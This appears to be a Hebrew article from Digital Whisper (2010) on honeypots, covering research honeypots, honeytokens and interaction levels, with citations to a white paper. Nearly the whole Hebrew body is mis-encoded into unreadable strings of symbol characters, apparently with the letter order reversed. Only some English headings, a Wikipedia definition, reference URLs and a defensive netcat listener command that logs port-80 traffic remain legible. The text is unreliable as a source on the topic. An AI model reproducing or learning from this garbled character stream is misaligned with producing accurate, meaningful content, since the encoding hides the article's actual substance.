 ˪˷ ˢ˞˶ˬ ˸˷˶˟ ˸ˣ˴˶˧˲ˢ ˸˞ ˱ˣ˷˥˪ˣ ˶˷˵ ˶ˣ˴˧˪ ˫˧˲˵ˣ˸ˢ ˸˞ ˸ˣ˸˲˪ ˪˰ ˣˡ˰ˣˮ ˢˤ ˠˣ˯ˬ ˸ˣˡˣ˩˪ˬ
 ˭ˣˠ˶˧˞ˢ) ˸˷˶˷˸˧˸˧ˬ˞ˢ ˸˷˶ˢ ˢˮ˧˞ ,˷ ˧ˬˡ ˸˷˶ ˞˪˞˶˦ˬˢ˸ ˢ˧˪˞ ˳ˣ˶˲˪ ˱˵ˣ˸ˢ ˸˞ ˸ˣ˸˲˪ .(

˧ˬˡˢ ˸˷˶ ˨˶ˡ ˸ˣ˴˶˲ˢ ˸˲˧˷˥ ˸ˣ˟˵˰˟ ,˸˧˸˧ˬ˞ˢ ˸˷˶ˢ ˸˞ ˥˦˟˞˪ˣ ˶˸ˣ˧ ˟ˣ˦ ˭ˠˬ˸ˢ˪ ˭˸˧ˮ . 

 

   

2.  Research Honeypots- ˶˵˥ˬ ˸˶˦ˬ˪ ˸ˡˣ˩˪ˬ 

 

˫˧˶ˣ˥˷ˢ ˫˧˰˟ˣ˩ˢ ˸˪˧ˢ˵ ˸ˣˡˣ˞ ˰ˡ˧ˬ ˶˸ˣ˧˷ ˢˬ˩ ˱ˣ˯˞˪ ˣˡ˰ˣˮ ˶˵˥ˬ ˸ˣ˶˦ˬ˪ ˷˟ˡ ˸ˣˡˣ˩˪ˬ,  ˞˪ˣ
ˣˬ ˨˶˰ ˫ˣ˷ ˸ˣ˵˲˯ˬ˫˧ˮˣˠ˶˞˪ ˶˧˷˧ ˱˯ . ˶˧˷˧ˢ ˷ˣˬ˧˷ˢ˪ˢ ˣˤ˩˷ ˸˩˶˰ˬ˞ˣ  ˪˰ ˰ˡ˧ˬ ˭ˣˠ˶˧˞˪ ˵˲˯˪

 ˫˧ˮˣ˩˧˯ˢ˫ˢ˧ˮ˲˟ s˞ˣ ˪ ˪ˣ˪˰ˡˣˬ˰, ˸ˣ˲˵˸ˢˢ ˸˰˧ˮˬ ˸ˣˡˣ˞ ˡˣˬ˪˪ ˭ˣˠ˶˞˪ ˶˷˲˞˪ˣ , ˸ˣ˲˵˸ˢˢ ˧ˣˢ˧ˤ
 ˫˧ˬˣ˧˞ ˪ˣˬ ˶˸ˣ˧ ˢ˟ˣ˦ ˢˮˠˢ ˭ˮ˩˸˪ˣ ˸ˣˮ˟˪ ˪˪˩˟ˣ˩˷ˣ˪˞ . ˟ˣ˦ ˭˧˟ˢ˪ ˶ˤˣ˰ ˣˤ ˸ˡˣ˩˪ˬ ˸˪ˣ˰˲ ˭˲ˣ˞

ˣ˪ˣ˰˲ ˸˞ ˶˸ˣ˧ˢ˲˵˸ˢˢ ˭ˣˠ˶˧˞ˣ ˸ .ˢˢ˰ˬ˦ˢ˪ ˸˩˟ˣ˯ˬ ˞˧ˢ˷ ˞ˣˢ ˢˤ ˠˣ˯ˬ ˸ˡˣ˩˪ˬ˟ ˭ˣ˶˯˧˥ ,
ˢ˵ˣˤ˥˸˪ˣ ˷ˣˬ˧˷˪, ˰ˡ˧ˬ ˪˷ ˢ˶˧ˡ˞ ˸ˣˬ˩ ˸˶ˬˣ˷ˣ . ˫˧ˮˣˠ˶˧˞ ˧ˡ˧ ˪˰ ˸ˣ˷ˬˣ˷ˬ ˟ˣ˶˪ ˢˤ ˠˣ˯ˬ ˸ˣˮˠˢ

ˣ˪˞ ˫˧ˬˣ˧˞ ˸ˣˡˣ˞ ˡˣ˰ ˡˬ˪˪ ˸ˣˮ˧˧ˮˣ˰ˬ˷ ˸ˣ˪ˣˡˠ ˸ˣ˶˟˥ ˣ˞ ˸ˣ˪˷ˬˬ ˸ˣ˞˦˯˶˟˧ˮˣ˞ ˣˬ˩ 

 

ˤ ˸˩˶˰ˬ˟ x˰ ˰ˡ˧ˬ ˫˧ˡˬ˪ ˣˮ˞˶˸ˣ˧˟ ˢˢˣ˟ˠ ˢˬ˶˟ ˱˵ˣ˸ˢ ˪ . ˸˦˪˵ˮ ˦˵ˣˮ ˱˵ˣ˸ˢ˷ ˢ˪ˣ˰˲ ˪˩
˸˩˶˰ˬˢ ˸˰ˮ˩ˢ ˰ˠ˶ ˡ˰ˣ ˢ˲˧˵˸ˢ ˰ˠ˶ˬ ˸˩˶˰ˬ˟ ,˷ ˶˟ˡ˶˷˲˞ˬˢ  ˧ˡˣ˥˧ ˰ˡ˧ˬ ˱ˣ˯˧˞˧ˡˬ˪. ˭˩ ˣˬ˩ ,

 ˫˧˷ˡ˥ ˫˧ˬˣ˧˞ ˸ˣˢˤ˪ ˢ˪ˣ˩˧ ˣˤ ˸˩˶˰ˬ)ˢ˞˪ˢ ˭˩ˣ ˣ˶˴ˣˮ ˵˶˷ ˫˧˰˪ˣ˸ ˣˬ˩.( 

 

3.  ˸ˡˣ˩˪ˬHoneytokens 

 

ˠ˶ˢ ˠˣ˯ˢˬ ˸ˡˣ˩˪ˬ ˢˮ˧ˢ ˣˤ ˸ˡˣ˩˪ˬ˪˧ .Honeytokens ˢ˶˴˵˟,  ˷˟ˡ ˸ˡˣ˩˪ˬ ˶˧ˡˠˬ˷ ˢˬ ˪˩ ˞˧ˢ

ˢ˪˧ˠ˶- ˟˷˥ˬ ˢˮ˧˞ ˞˧ˢ˷ ˢˤˬ ˳ˣ˥ . ˷˟ˡ ˸ˣˡˣ˩˪ˬ˪ ˰ˠˣˮ˟ ˶˸ˣ˧˟ ˪ˣˡˠˢ ˪ˣ˟˪˟ˢ ˞ˣˢ ˸ˣ˟˧˧˥ ˞˪ ˭ˢ˷
˟˷˥ˬ ˸ˣ˧ˢ˪- ˶˷˵ ˣ˸˧˞ ˶ˣ˴˧ ˱˵ˣ˸ˢ˷ ˣˢ˷˪˩ ˧ˤ˧˲ ˟˞˷ˬ. 

 ˢˮˢ ˪˷ ˸˧˶ˣ˵ˬˢ ˢ˶ˡˠˢˢHoneypot: 

"A honeypot is an information system resource whose value lies in unauthorized or illicit 

use of that resource". ï Wikipedia.org 
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˟˪ ˫˧˷ˮ ˫˞ ,˟˷˥ˬ ˸ˣ˧ˢ˪ ˸˟˧˧˥ ˷˟ˡ ˸ˡˣ˩˪ˬ˷ ˷ˣ˶˧˲˟ ˫ˣ˷˶ ˞˪ , ˟˞˷ˬ ˸ˣ˧ˢ˪ ˸˟˧˧˥ ˦ˣ˷˲ ˞˧ˢ

˷ ˣˢ˷˪˩ ˢ˴˶ˮ˶˷˵ ˣ˸˧˞ ˣ˶˴˧ ˫˧˶ˣ˥˷ˢ ˫˧˰˟ˣ˩ˢ˷ .Honeytokens ˫˧ˮˣ˷ ˫˧˪ˡˠˣ ˸ˣ˶ˣ˴˟ ˫˧˞˟ , ˣˬ˩

˫˧˵˸ˬˬ , ˫˧˶ˡˠˣˬ ˫˪ˣ˩ ˪˟˞ˡ˥˞ ˦˲˯ˮˣ˵˩-  ˯˯˟˸ˬ˷ ˰ˡ˧ˬ ˸˩˶˰ˬ ˟˞˷ˬ ˣ˞ ˧˪˦˧ˠ˧ˡ ˸˩˶˰ˬ ˟˞˷ˬ

˶ˣ˵ˬ˪ ˳ˣ˥ˬ ˸˧˷˶ˣˬ ˞˪ ˢ˷˧ˠ ˪˰ . ˡ˯ˬ ˨ˣ˸˟ ˭˩ˣ˸ ˣ˪˧˲˞ˣ ˱˧˧ˣˤˬ ˷ˬ˸˷ˬ ˭ˣ˟˷˥ ˸ˣ˧ˢ˪ ˪˩ˣ˸ ˨˩˪ ˢˬˠˣˡ

˫˧ˮˣ˸ˮ .˸ˡˣ˩˪ˬˢ ˸˞ ˶ˣ˴˧ˮ ˢ˶ˣ˴ ˣˤ˧˞˟ ˢˮ˷ˬ ˞˪ ,ˢ˧˪˞ ˸˷ˠ˪ ˶ˣˬ˞ ˞˪ ˡ˥˞ ˱˞ .˶˟ˡ s˵˲˯ˬ  ˸ˡˣ˩˪ˬ˪

 ˢ˪˧ˠ˶ ˷˟ˡ ˸ˡˣ˩˪ˬ ˪˷ ˸ˣˮˣ˶˯˥ˣ ˸ˣˮˣ˶˸˧ ˫˸ˣ˞ ˸˞ ˣˤ)˨˷ˬˢ˟ ( ˶˟˰ˬ ˢ˸˪ˣ˩˧ ˸˞ ˟˧˥˶ˬ ˣ˪˧˲˞ˣ

˟˷˥ˬˢ ˸ˣ˪ˣ˟ˠ˪. 

 

ˢ˧˴˵˞˶˦ˮ˧˞ ˸ˬ˶ ˧˲ ˪˰ ˸ˣˡˣ˩˪ˬ ˠˣˣ˧˯ 
 

˫˧ˠˣ˯ ˧˲˪ ˢ˵ˣ˪˥ ˡ˟˪ˬ ,˞ ˸ˬ˶ ˧˲˪ ˷˟ˡˢ ˸ˣˡˣ˩˪ˬ ˸˞ ˵˪˥˪ ˶˷˲˞˧ˢ˧˴˵˞˶˦ˮ , ˸ˬ˶ ˧˲ ˪˰ ˶ˬˣ˪˩

 ˸ˣ˶˸ˣˬˢ ˸ˣ˟˶ˣ˰ˬˢˢ˧˶˷˲˞˸˩˶˰ˬˢ ˭˧˟˪ ˱˵ˣ˸ˢ ˭˧˟ ˸ . 

 

 

ˢ˩ˣˬˮ ˢ˧˴˵˞˶˦ˮ˧˞ ˸ˬ˶˟ ˸ˣˡˣ˩˪ˬ 

 

 ˷˟ˡ ˸ˡˣ˩˪ˬˢˢ˩ˣˬˮ ˢ˧˴˵˞˶˦ˮ˧˞ ˸˶˷˲˞ˬ,  ˳˶˲˧ˢ˪ ˫˧˪ˣ˩˧ ˞˪˷ ˫˧˲˧˧ˣˤˬ ˫˧˸ˣ˶˧˷ ˢˬ˩ ˢˬˡˬ ˵˶

˸ˡˣ˩˪ˬ˟ ˢ˞˪ˬ ˢ˷˧ˠ ˵˲˯˪ˣ .˫˧˧ˣˮ˧˷ ˢ˟ ˰˴˟˪ ˪ˣ˩˧ ˱˵ˣ˸ˢ˷ ˢ˪˰˲ˢ ˸˩˶˰ˬ ˭˧˞ ˣˤ˩ ˢˬ˶˟ ˸ˡˣ˩˪ˬ˟ .

˶ˬ˞˲˯ ˥ˮ˰˲˪ ˭˸˧ˮ ˣˤ ˸˩˶˰ˬ˟˫˧˰˪ˣ˸ ˪ˣˬ ˸ˣˡˡˣˬ˸ˢˣ ˫˧ . ˣˤ˩˷ ˸˩˶˰ˬ ˸˰ˬ˦ˢ ˶ˣ˟˰ ˢˡ˧˥˧ˢ ˢ˶˦ˬˢ

˸ˣ˦ˣ˷˲ ˸ˣ˲˵˸ˢ ˧ˣˢ˧ˤ ˞˧ˢ- ˫˧˴˶ˣ˲ˢ ˸ˣˡˣ˞ ˰ˡ˧ˬ ˵˲˯˪ˣ ˱˷˥˧ˢ˪ ˸ˣ˪ˣ˩˧ ˸ˣ˷ˡ˥ ˸ˣ˲˵˸ˢ .˱˯ˣˮ˟,  ˞˧ˢ

ˢ˪˵ ˢ˵ˣˤ˥˸ˣ ˦ˣ˷˲ ˭˲ˣ˞˟ ˢ˰ˬ˦ˢ˪ ˸ˮ˸˧ˮ . 

 

ˢˬˠˣˡ˪ :˟ ˦ˣ˷˲ ˷ˣˬ˧˷: 

netcat - l - p 80 > /log/honeypot/port_80.lpg  

 

˧ ˦˶ˣ˲ ˪˰ ˢˮˤ˞ˢ ˣˮ˪ ˭˸80 )HTTP (ˡ˥ˣ˧ˬ ˡˣ˰˧˸ ˳˟ˣ˵ ˪˞ ˸˯ˮ˩ˮˢ ˢ˶ˣ˟˰˸ˢ ˪˩ ˸˞ ˡ˰˸˪ ˸ˣ˶˷˲˞ˣ .

˧ˡˬ˪ ˦ˣ˷˲ ˭˲ˣ˞˟ ˢˢˣˤˬ ˸ˣ˧ˢ˪ ˢ˪ˣ˩˧ ˸˯ˮ˩ˮˢ ˢ˶ˣ˟˰˸ˢ ˪˩ ˣˤ˩˷ ˨˶ˡ˟ . ˡ˰˸˪ ˭˸˧ˮ ˞˪ ˣˤ˩˷ ˸˩˶˰ˬ˟

˸˧ˮ˩˦ ˢˮ˧˥˟ˬ ˶˸ˣ˧ ˫˧˩˟ˣ˯ˬ ˫˧˪ˣ˵ˣ˦ˣ˶˲ ˪˷ ˸˶ˣ˷˵˸ ,˟ ˡ˧ ˸˴˧˥˪ ˢˬˠˣˡ˪-SMTP ˷˪ ˪˧˟ˣ˸ ˞˪ ˰ˡ˧ˬ ˫ˣ

ˢˮ˰˧˷ ˸ˣ˶˧˷ ˫ˣ˷ ˭˧˞˷ ˭ˣˣ˧˩ˬ ˪˧˰ˣˬ. 

 

ˢ˪˷ ˭ˣ˶˯˧˥ˢ ˸˞ ˢˣˣˢˬ ˢ˪˰˲ˢ ˸˩˶˰ˬ ˭˧˞ ˣˤ ˸ˣˡ˩˪ˬ˟˷ ˢˡ˟ˣ˰ˢ-  ˣ˟ ˭˲ˣ˞ˢ ˸ˣˡˣ˞ ˡˣˬ˪˪ ˢ˧ˢ˧ ˭˸˧ˮ ˞˪

˸˩˶˰ˬˢ ˫˰ ˶˷˵˸ˬ ˱˵ˣ˸ˢ-  ˸ˣˡˡˣˬ˸ˢ˟ ˸ˣ˟˧˷˥ ˪˰˟ˣ ˭˧˧ˮ˰ˬ ˡˣ˞ˬ ˸ˣ˧ˢ˪ ˪ˣ˩˧˷ ˶˟ˡ˪ˣˬ ˱˵ˣ˸ˢ .

˥ ˸ˣ˪˰˟ ˸ˣ˩˶˰ˬ˪ ˢ˪˞ ˸ˣ˩˶˰ˬ ˸ˣˬˡ˪ ˶˷˲˞˶ˣ˟˧ ˡ˥˞- ˟˧˷˵ˢ˪ ˵˶ ˸ˣ˶˷˲˞ ˷˧ , ˪ˣ˞˷˪ ˞˪ ˪˟˞

˸ˣ˪˞˷ . 
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˯ˬ ˫˧˷˶˸ '1 : ˷˟ˡ ˸ˡˣ˩˪ˬ˟ˮ˧˞˦ˢ˩ˣˬˮ ˢ˧˴˵˞˶-  ˸˞ ˢˡ˧˶ˣˬ ˷˟ˡ ˸ˡˣ˩˪ˬ ˪˷ ˢ˩ˣˬˮ ˸ˣ˪˧˰˲

ˢˬ˶ ˢ˸ˣ˞˪ ˳˶ˣ˲ˢ ˸ˣˡˣ˞ ˢˡ˧ˬ˪ˢ ˸˪ˣ˩˧ ˸˞ ˢˡ˧˶ˣˬ ˫ˠ ˪˟˞ ˫ˣˬ˧ˮ˧ˬ˪ ˫˧ˮˣ˩˧˯ˢ. 
)sˬ ˥˵˪ˮ ˫˧˷˶˸-White Paper: Honeypots- Reto Baumann, Christian Plattner( 

 

 

 ˸˩˶˰ˬ˪ ˢ˩ˣˬˮ ˢ˧˴˵˞˶˦ˮ˧˞ ˸ˬ˶˟ ˸˩˶˰ˬˢ ˸˞ ˸ˣˣ˷ˢ˪ ˭˸˧ˮIDS ˸˧˟˧˯˞˲ , ˸˞ ˢˮ˷ˬ ˞˪ ˞˧ˢ˷ ˭ˣˣ˧˩ˬ

˱˵ˣ˸ˢ ˫˰ ˶˷˵ ˸˶˴ˣ˧ ˞˪ˣ ˢ˶ˣ˟˰˸ˢ . ˸ˣ˞˶˸ˢˣ ˫˧ˠˣ˪ ˸˶˧˴˧˪ ˢ˷˰ˮ ˫ˣ˧˩ ˣ˪˞ ˸ˣ˩˶˰ˬ˟ ˷ˣˬ˧˷ˢ

˫˧˯ˮ˩ˮ ˫˧˦˵˞˲ˬ, sˢ˲˵˸ˢ ˸ˣ˧ˮ˟˸ˬ ˵˪˥˩ ˫˧ˢˣˤˬ. 

 

 

˸˧ˮˣˮ˧˟ ˢ˧˴˵˞˶˦ˮ˧˞ ˸ˬ˶˟ ˸ˣˡˣ˩˪ˬ 

 

˞˧˲ ˪˰˱ ˷ˢ˸ˬˡˣ˵ˬ ˸˪˪˩ˣ˷ˬ ˦˰ˬ ˢˤ ˠˣ˯ˬ ˸ˡˣ˩˪ˬ ,ˢ˪˰˲ˢ ˸˩˶˰ˬ ˭˧˞ ˢ˟ ˫ˠ . ˫˧˸ˣ˶˧˷ ˢˬˡˬ ˞˧ˢ

˥ˣ˸ˬ ˶˸ˣ˧˷˸˧ˮ˩˦ ˫˧ˬ˩ . ˫˧˪ˡˠ ˢ˥˦˟˞ ˸˴˶˧˲ ˞˴ˬ˧ ˱˵ˣ˸ˢ˷ ˫˧˧ˣ˩˧˯ˢ˷ ˸ˣ˶ˬ˪˟˵˰  ˫ˣ˩˥˧˸ˢ ˸ˬ˶

ˢˢˢˣ˟ˠ ˣˤ ˸˩˶˰ˬ˟ , ˢ˶ˣ˵ ˢˬ ˣ˰˧˶˸˧ˣ ˣˡ˰˸˧˷ ˸ˣ˩˶˰ˬˣ ˢ˥˦˟˞ ˸ˣ˪˟ˠˢ ˭˧˞˷ ˞˧ˢ ˢ˟ ˸ˣ˧˸˧˧˰˟ˢ

ˢ˲˵˸ˢ ˪˷ ˫˧˶˵ˬ˟ .˪˩ˢ ˸ˣ˶ˬ˪ ,˷ ˪˪ˠ˟˶˟ˣˡˬ ˟˶˸ˣ˧ ˢˢˣ˟ˠ ˢ˧˴˵˞˶˦ˮ˧˞ ˸ˬ˶, s ˪ˣ˪˩˷ ˸˶˷˲˞ˬ

˩˪ˬˢ ˸ˬˣ˰˪ ˫˧ˣ˯ˬˢ˩ˣˬˮ ˢ˧˴˵˶˦ˮ˧˞ ˸ˬ˶˟ ˸ˣˡˣ ,˞˧ˢ ˫ˠ  ˸ˣˮ˸˧ˮ˷ ˸ˣ˩˟ˣ˯ˬ ˶˸ˣ˧ ˸ˣ˲˵˸ˢ ˸˶˷˲˞ˬ

˶ˣ˦˧ˮ˪ˣ ˡˣ˰˧˸˪ .ˣ ˸˧ˮ˵˸ ˢ˪˰˲ˢ ˸˩˶˰ˬ ˸ˣˡˣ˞ ˢ˟ˣ˦ ˶˸ˣ˧ ˢ˧˪˷˞ ˢˮ˷˧ ˱˵ˣ˸˪˧ ˸ˣ˧ˣ˶˷˲˞ ˶˸ˣ˧ ˣ˪ ˷

ˢ˸˧˞ ˶˷˵˸˪. 

 

http://citeseerx.ist.psu.edu/viewdoc/download;jsessionid=10078459BA94848EE166AD77B00FCD88?doi=10.1.1.10.8885&rep=rep1&type=pdf
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˯ˬ ˫˧˷˶˸ '2 : ˸˶˷˲˞ˬ ˸˧ˮˣˮ˧˟ ˢ˧˴˵˞˶˦ˮ˧˞˟ ˷˟ˡ ˸ˡˣ˩˪ˬ"˰ˠˬ "˸˧˪ˬ˧ˮ˧ˬ ˨˶ˡ˟ ˱˵ˣ˸ˢ ˫˰ . 
)sˬ ˥˵˪ˮ ˫˧˷˶˸-White Paper: Honeypots- Reto Baumann, Christian Plattner( 

 

 ˞˧ˢ ˸˧ˮˣˮ˧˟ ˢ˧˴˵˞˶˦ˮ˧˞ ˸˪˰˟ ˸˩˶˰ˬ ˥ˣ˸˧˲ ˸˧ˮ˰˟ˣ˸ ˶˸ˣ˧˭ˣˮ˩˸ˣ ˭ˬˤ ˸ˮ˧˥˟ˬ ,ˬ ˸˞ˤ˫ˣ˷  ˫˧˟˧˧˥˷

˧ˣ˞˶˩ ˫˧˥˦˟ˣ˞ˬ ˸ˣ˧ˢ˪ ˫˧˟˧˧˥ ˫˧˲˧˧ˣˤˬˢ ˫˧˸ˣ˶˧˷ˢ ˪˩ˣ ˫˧ˡ˥ˣ˧ˬ ˫˧˶˵ˬ ˭ˣ˟˷˥˟ ˸˥˵˪ . ˸ˣ˞˯˶ˠˢ

 ˣˬ˩ ˢ˥˦˟˞˟ ˫˧ˬˠ˲ ˫˸ˣ˞ˬ ˪ˣ˟˯˪ ˸ˣ˶ˣˬ˞ ˞˪ ˸ˣ˥˸ˣ˲ˬˢ˟˸ˣ˧˸˧ˬ˞ˢ ˸ˣ˩˶˰ˬ- ˸ˣ˧ˢ x ˢ˶˦ˬˢ

˫˧˲˧˧ˣˤˬ ˫˧ˮ˸˷ˬ ˫˰ ˣ˪˞ ˸˞ ˷˟˷˪ ˞˧ˢ ˸˧˸˧ˬ˞ˢ.  ˸˧˯˥˧ ˢˣ˟ˠ ˞ˣˢ ˢˤ ˠˣ˯ˬ ˸˩˶˰ˬ ˥ˣ˸˧˲˪ ˰ˡ˧ˢ

ˬ˫ˣ˷ ˫˧˦˶˲˪ ˦˶ˣ˲ˬ ˸ˣ˧ˢ˪ ˟˧˧˥ ˸ˣ˶˧˷ˣ ˪ˣ˵ˣ˦ˣ˶˲ ˪˩˷. 

 

 

ˢˢˣ˟ˠ ˢ˧˴˵˞˶˦ˮ˧˞ 

 

˷˟ˡˢ ˸ˣˡˣ˩˪ˬ ˪˷ ˶˸ˣ˧˟ ˫ˡ˵˸ˬˢ ˠˣ˯ˢ .˸ˣ˩˟ˣ˯ˬˢ ˸ˣ˩˶˰ˬˢ ˣ˪˞ ˶˸ˣ˧˟  ˸ˣ˷˶ˣˡ ˭ˢ ˥ˣ˸˧˲ ˸ˮ˧˥˟ˬˣ

˟ˣ˴˧˰ˣ ˭ˣˮ˩˧˸˪ ˫˧˟˞˷ˬˣ ˭ˬˤ ˢ˟˶ˢ ˧˩ˢ, ˣ˟ˠˢ ˸ˣˬ˩ˢ ˸˞ ˸ˣ˟˪˷ˬˣ ˫˧ˮˣ˩˧˯ ˪˷ ˶˸ˣ˧˟ ˢˢ˸ˣ˧ˢ x ˭ˢ

˫˧˧˸˧ˬ˞ ˫˧˸ˣ˶˧˷ ˫˰ ˸ˣ˧˸˧ˬ˞ ˢ˪˰˲ˢ ˸ˣ˩˶˰ˬ ˸ˣ˟˶˰ˬ, ˸ˣ˧˸˧ˬ˞ ˢ˥˦˟˞ ˸ˣ˷˪ˣ˥ ˫˰ ˭˟ˣˬ˩ˣ,  ˸ˮˬ ˪˰

ˣ˧˸ˣˡˣ˞ ˰ˡ˧ˬ ˱ˣ˯˞˪ˣ ˯ˮ˩ˢ˪ ˳˶ˣ˲ˢ ˸˞ ˸ˣ˸˲˪ . ˭˸˧ˮ˷ ˸˧˸˧ˬ˞ ˢ˪˰˲ˢ ˸˩˶˰ˬ ˳˶ˣ˲˪ ˸˵˲˯ˬ ˣˤ ˸˩˶˰ˬ

˪˟ˠˣˬ ˣ˞ ˢˬˣˡˬ ˞˪ ˶˟ˡ ˫ˣ˷ˣ ˢ˸˧˞ ˶˷˵˸˪ .˟˵˪ ˪ˣ˩˧ ˳˶ˣ˲ ˸˷˧ˠ ˪root  ˢˮˣ˩ˬ˪ ˢ˞˪ˬ ˢ˷˧ˠ ˪˟˵˪ˣ

ˢ ˭ˬˤˢ ˪˩ ˦ˮ˶˦ˮ˧˞ˢ ˸˷˶˪ ˸˶˟ˣ˥ˬ)˷ ˢˬˣˬ˴˰ ˧ˮ˲˟ ˭˩ˣ˯ˬ ˵˧˲˯ˬ .( ˭˞˩ˬ˭˸˧ˮ  ˭˧˟ˢ˪ ˧˩ ˫˧˧ˣ˩˧˯ˢ

˫˧˪ˡˠ ˰ˡ˧ˬ ˸˪˟˵˪ ,ˣ ˸ˣ˧ˢ˷˟ˡ ˸ˡˣ˩˪ˬ ˪˷ ˢˤ ˠˣ˯˟ ,˸ˣ˥ˮ˰ˣ˲ˬˣ ˸ˣˡ˰ˣ˸ˬ ˸ˣ˪ˣ˰˲ˢ ˪˩ . ˣˮ˶˰˴˪) ˢˤˣ

˸˩˶˰ˬˢ ˪˷ ˭ˣ˶˯˥ˢ ˸˞ ˢˣˣˢˬ ˫˴˰˟ (ˢ˪ ˟˧˧˥ ˳˶ˣ˲ˢ ˪˷ ˣˤ˩ ˢˬ˶ ˪˟˵˪ ˸ˮˬ ˪˰ ˸˩˶˰ˬˢ ˸˞ ˰˧ˮ˩

˷˲ˣ˥ , ˸˷˧ˠ ˪˟˵˧ ˞ˣˢ ˰˧ˮ˩˧˷ ˰ˠ˶˟ ˨˞root ˸˩˶˰ˬ˟- ˞˧ˢ˷ ˧˲˩ ,ˣ˥ˣ˶ ˪˰ ˢ˪ˣ˰˷ ˶˟ˡ ˪˩ ˸ˣ˷˰˪ ˪˩ˣ˧ˣ. 

˸˥˦˟ˣ˞ˬ˪ ˶˸ˣ˧ ˸˟˷˥ˮ ˞˪ ˢˮˣ˩ˬˢ ˪˩ˣ ˶˸ˣ˧ ˸˥˦˟ˣ˞ˬ ˞˪ ˸˩˶˰ˬˢ ˢˤ ˟˪˷ˬ . ˢˡ˟ˣ˰˪ ˸ˣ˟˧˷˥ ˭˧˞

 ˸˧˪˞ˣ˦˶˧ˣ ˸˩˶˰ˬ ˸˥˸ ˸˞˴ˬˮ ˸˩˶˰ˬˢ ˫˞˸ˣ˧ˢ xˢˮ˩ˣ˸ˢ ˸ˣ˪˟ˠˬˬ ˠˣ˶˥˪ ˫˧˩˶ˡ ˣ˞˴ˬ˧˧ ˡ˧ˬ˸ . 

 

http://citeseerx.ist.psu.edu/viewdoc/download;jsessionid=10078459BA94848EE166AD77B00FCD88?doi=10.1.1.10.8885&rep=rep1&type=pdf
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˯ˬ ˫˧˷˶˸ '3 : ˸˩˶˰ˬˢ ˸˞ ˰˧ˮ˩ˢ˪ ˪˩ˣ˧ ˳˶ˣ˲ˢ˷ ˭ˣ˩˧˯ ˶˸ˣ˧ ˷˧ ˢˢˣ˟ˠ ˢ˧˴˵˶˦ˮ˧˞ ˸ˬ˶˟ ˷˟ˡ ˸ˡˣ˩˪ˬ˟

ˢ˧˟˞˷ˬ˟ ˷ˬ˸˷ˢ˪ˣ. 
)sˬ ˥˵˪ˮ ˫˧˷˶˸-White Paper: Honeypots- Reto Baumann, Christian Plattner( 

 

 

˶˷˵ ˸˶˧˴˧ˣ ˢ˴˧˶˲˪ ˣ˦˟ˬ ˸ˡˣ˵ˮˬ ˸ˣ˶ˣ˵ˬ ˶˸ˣ˧ ˷˧ ˳˶ˣ˲˪˷ ˭ˣˣ˧˩ˬ,  ˡ˥ˣ˧ˬ˟ ˟˪ ˫˧˷˪ ˷˧˟ ˠˣ˯ˬ ˸˩˶˰ˬ

ˢˤ,  ˢ˥˦˟˞ ˸˴˶˧˲˪ ˣ˞ ˢˮ˩˯˪ ˸˩˲ˣˢ ˞˪ ˞˧ˢ˷ ˞ˡˣˣ˪ ˸ˮˬ ˪˰ ˢˬ˴˰˟) ˸˩˶˰ˬˢ ˸˞ ˪˴ˮ˪ ˪ˣ˩˧ ˳˶ˣ˲ˢ

ˣ˪˷ ˸ˣ˶˥˞ ˸ˣ˲˵˸ˢ˪ ˯˧˯˟ ˶ˣ˟˰ .( ˸˧ˬˣ˵ˬ ˦ˮ˶˦ˮ˧˞ ˸˷˧ˠ˪ ˢ˸ˣ˞ ˪˧˟ˠˢ˪ ˞ˣˢ ˸˩˶˰ˬ˟ ˟ˣ˷˥ ˶˟ˡ

ˡ˟˪˟ ,˫ˢ˧˩˶˴˪ ˫˧˶ˣ˥˷ˢ ˫˧˰˟ˣ˩ˢ ˸˞ ˷ˬ˷˸ ˞˪ ˸˩˶˰ˬˢ˷ ˸ˮˬ ˪˰ . ˢ˪˰˲ˢ ˸˩˶˰ˬ ˣˤ˷ ˭ˣˣ˧˩ˬ

˸ˡ˵˲˸ˬ ,˧˷˲ˣ˥ˢ ˣˮˣ˴˶ ˧˲ ˪˰ ˫˧˧ˣˮ˧˷ ˢ˟ ˸ˣ˷˰˪ ˪ˣ˩˧ ˱˵ˣ˸ˢ-  ˣˢˤ˭˧˧ˮ˰ˬˢ ˵˪˥ˢ ˫˴˰˟.  ˪˟˵˪ ˭˸˧ˮ

ˣ˧˸ˣ˪ˣ˰˲ ˸ˣˡˣ˞ ˢ˞˪ˬ ˢˮˣˬ˸ ,ˢˬˣˡ˩ˣ ˣ˧˸ˣ˲ˡ˰ˢ . ˧˟ˠ˪ ˭˧ˬ˞ˣ ˪˧˰˧ ˰ˡ˧ˬ ˱ˣ˯˧˞ ˸˶˷˲˞ˬ ˣˤ ˸˩˶˰ˬ

 ˫˧˶ˣ˥˷ˢ ˫˧˰˟ˣ˩ˢ ˸˪˧ˢ˵ˣ˶˷˲˞ˬ ˸ ˫ˢ˧˸ˣ˲˵˸ˢ ˧ˮ˲ˬ ˭ˠˬ˸ˢ˪ˣ ˣˮ˪˷ ˸ˣ˩˶˰ˬˢ ˸˞ ˥˦˟˞˪ ˣˮ˪

ˢ˶˸˧ ˸ˣ˪˧˰˧˟. 

 

˫ˣ˩˧˯˪ , ˪˰ˣ˲ˢ ˭ˣ˶˵˧˰ˢ ˷˟ˡ ˸ˣˡˣ˩˪ˬ˟˷ ˶ˬˣ˪ ˭˸˧ˮ ˫ˠ ˞ˣˢ ˶˸ˣ˧˟ ˭˧ˬ˞ˢˣ ˟ˣ˦ˢ ˰ˡ˧ˬˢ ˱ˣ˯˧˞˷ ˞ˣˢ

˶˸ˣ˧˟ ˭˩ˣ˯ˬˢ .˪ ˫˧ˮ˩ˣˬ ˣˮ˞˷ ˭ˣ˩˧˯˪ ˪˟˵ˮ˷ ˦ˣ˶˧˲ˢˣ ˰ˡ˧ˬˢ ˸ˣˮ˧ˬ˞ ˭˧˟ ˶˧˷˧ ˶˷˵ ˷˧˸˥˵  ˸ˮ˵˸ˢ˟

˷˟ˡ ˸ˡˣ˩˪ˬ. 

 

 

http://citeseerx.ist.psu.edu/viewdoc/download;jsessionid=10078459BA94848EE166AD77B00FCD88?doi=10.1.1.10.8885&rep=rep1&type=pdf


 

 

HoneyPots 
www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠ11 ,˦˯ˣˠˣ˞ 2010  49 

 

˷˟ˡ ˸ˣˡˣ˩˪ˬ s˫ˣ˧˩ ˢ˧˧˷˰˸˟ ˷ˣˬ˧˷˟ ˸ˣ˞˴ˬˮ 
 

